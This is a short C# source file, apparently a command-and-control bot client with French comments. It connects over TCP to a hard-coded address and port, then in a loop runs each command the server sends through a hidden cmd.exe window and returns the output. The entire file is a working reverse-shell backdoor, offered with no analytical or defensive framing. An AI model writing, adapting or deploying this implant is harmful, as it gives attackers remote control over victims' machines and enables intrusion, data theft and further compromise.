using System;

using System.Diagnostics;

using System.Net.Sockets;

using System.Text;

​

class BotClient

{

    static void Main()

    {

        string serverIP = "192.168.1.196";

        int serverPort = 8080;

        try

        {

            using (TcpClient client = new TcpClient(serverIP, serverPort))

            using (NetworkStream stream = client.GetStream())

            {

                Console.WriteLine("Connecté au C2.");

                byte[] buffer = new byte[4096];

                while (true)

                {

                    int bytesRead = stream.Read(buffer, 0, buffer.Length);

                    if (bytesRead == 0)

                        break; // Connexion fermée

                    string command = Encoding.UTF8.GetString(buffer, 0, bytesRead).Trim();

                    if (command.ToLower() == "exit")

                        break;

                    string output = ExecuteCommand(command);

                    byte[] response = Encoding.UTF8.GetBytes(output);

                    stream.Write(response, 0, response.Length);

                }

            }

        }

        catch (Exception ex)

        {

            Console.WriteLine("Erreur : " + ex.Message);

        }

    }

​

    static string ExecuteCommand(string command)

    {

        try

        {

            ProcessStartInfo psi = new ProcessStartInfo("cmd.exe", "/c " + command)

            {

                RedirectStandardOutput = true,

                RedirectStandardError = true,

                UseShellExecute = false,

                CreateNoWindow = true

            };

            using (Process process = Process.Start(psi))

            {

                string output = process.StandardOutput.ReadToEnd();

                string error = process.StandardError.ReadToEnd();

                process.WaitForExit();

                return string.IsNullOrWhiteSpace(output) ? error : output;

            }

        }

        catch (Exception ex)

        {

            return "Erreur d'exécution : " + ex.Message;

        }

    }

}